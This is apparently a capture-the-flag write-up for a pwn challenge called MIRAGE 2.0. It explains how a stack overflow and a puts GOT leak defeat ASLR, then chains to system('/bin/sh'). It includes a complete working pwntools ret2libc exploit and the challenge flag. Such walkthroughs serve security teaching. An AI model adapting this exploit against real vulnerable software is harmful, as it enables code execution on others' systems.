

Worldminds Archive

MIRAGE 2.0 — Binary Exploitation — Walkthrough

CATEGORY	DIFFICULTY	FILES
Binary Exploitation (Pwn / ret2libc)	Medium	worldmind_archive, libc.so.6
DEPLOYMENT	VULNERABILITY	STATUS
Offline binary — run locally with the bundled libc	Stack overflow + GOT leak → ret2libc	Solved

Step 1 — First Contact

This challenge ships two files instead of one: the binary itself, and a `libc.so.6`. That alone is worth pausing on before running anything — organizers only bundle a specific libc when the exploit's success depends on knowing libc's exact internal layout, which is the signature of a ret2libc-style challenge. The objective text (“bypassing advanced memory randomization”) confirms it: this is about defeating ASLR, not just corrupting memory.

Running the binary shows a single-shot “archive terminal” that reads one block of input and processes it.

Step 2 — Recon

```
$ checksec --file=worldmind_archive
Canary: no   NX: yes   PIE: no   RELRO: Full

$ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.14) ...
```

No canary and no PIE again means a direct return-address overwrite is on the table with no canary to defeat and a fixed binary base — but NX rules out shellcode, and Full RELRO means the GOT is read-only, ruling out GOT overwrite attacks. With shellcode and GOT-overwrite both closed off, and libc explicitly provided, the remaining classic option is ret2libc: leak a libc address to compute where libc is loaded, then call a real libc function (like `system`) with arguments we choose.

Step 3 — Finding the Overflow and the Tools to Leak With

Disassembling `archive_terminal()` shows it hands a 64-byte stack buffer to a helper, `read_all(fd, buf, 0x80)`, which loops calling `read()` until it has accumulated exactly 128 bytes — double the buffer's size, with no check. The offset from the start of the buffer to the saved return address is 72 bytes (64-byte buffer + 8-byte saved RBP).

Since the binary is non-PIE, its own addresses (including its PLT/GOT entries) are fixed and known without a leak. The binary conveniently contains a labeled `rop_gadget_fixture` function, which disassembles to exactly `pop rdi; ret` — the one gadget needed to control the first argument of any function call we chain into.

Step 4 — Stage 1: Leaking a libc Address

With `pop rdi; ret` in hand, the overflow can be used to call `puts(puts@got)` — printing the actual runtime address stored in `puts`'s own GOT entry, then returning back into `main` so the program can be fed a second payload. Because the bundled `libc.so.6` tells us `puts`'s offset within that exact `libc` build, subtracting that offset from the leaked address gives `libc`'s true load base.

Step 5 — Stage 2: Turning the Leak Into Code Execution

With `libc`'s base known, the same overflow is used again, this time chaining `pop rdi; ret` → address of `"/bin/sh"` (found inside `libc` itself) → a plain `ret` gadget from `libc`, purely to re-align the stack to a 16-byte boundary before the call → `system()`. This pops a shell, from which the flag — set into the `MIRAGE_FLAG` environment variable during startup — can simply be echoed.

Step 6 — Full Exploit

```
from pwn import *

elf = context.binary = ELF('./worldmind_archive', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
io = process(['./worldmind_archive'], env={'LD_LIBRARY_PATH': '.'})

pop_rdi = 0x4012f4 # rop_gadget_fixture: pop rdi; ret

# Stage 1: leak puts() via its own GOT entry, return to main
payload = b'A' * 72
payload += p64(pop_rdi) + p64(elf.got['puts'])
payload += p64(elf.plt['puts']) + p64(elf.symbols['main'])
io.sendafter(b'>', payload)
leaked = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts']

# Stage 2: ret2system("/bin/sh")
ret = libc.address + 0x0000000000029139 # 'ret' gadget for alignment
payload = b'A' * 72
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(ret) + p64(libc.symbols['system'])
io.sendafter(b'>', payload)

io.sendline(b'echo $MIRAGE_FLAG')
io.interactive()
```

FLAG

MIRAGE{w0rldm1nd_r0p_ch41n_4slr_byp4ss}

NOTE: The bundled `libc.so.6` is built for Ubuntu 22.04's `glibc 2.35`. When testing locally, run the binary inside an `ubuntu:22.04` container with `LD_LIBRARY_PATH` pointed at the challenge folder so the correct `libc` is loaded — a mismatched host `glibc/loader` combination produces spurious “stack smashing detected” aborts unrelated to the actual exploit.

Takeaway

A bundled libc is always a signal, not a coincidence — it means the challenge wants you thinking in terms of “leak an address, compute a base, call a real function” rather than “inject and run my own code.” Checking RELRO and NX first tells you which of the leak-based techniques (GOT overwrite vs. ret2libc) is actually open to you.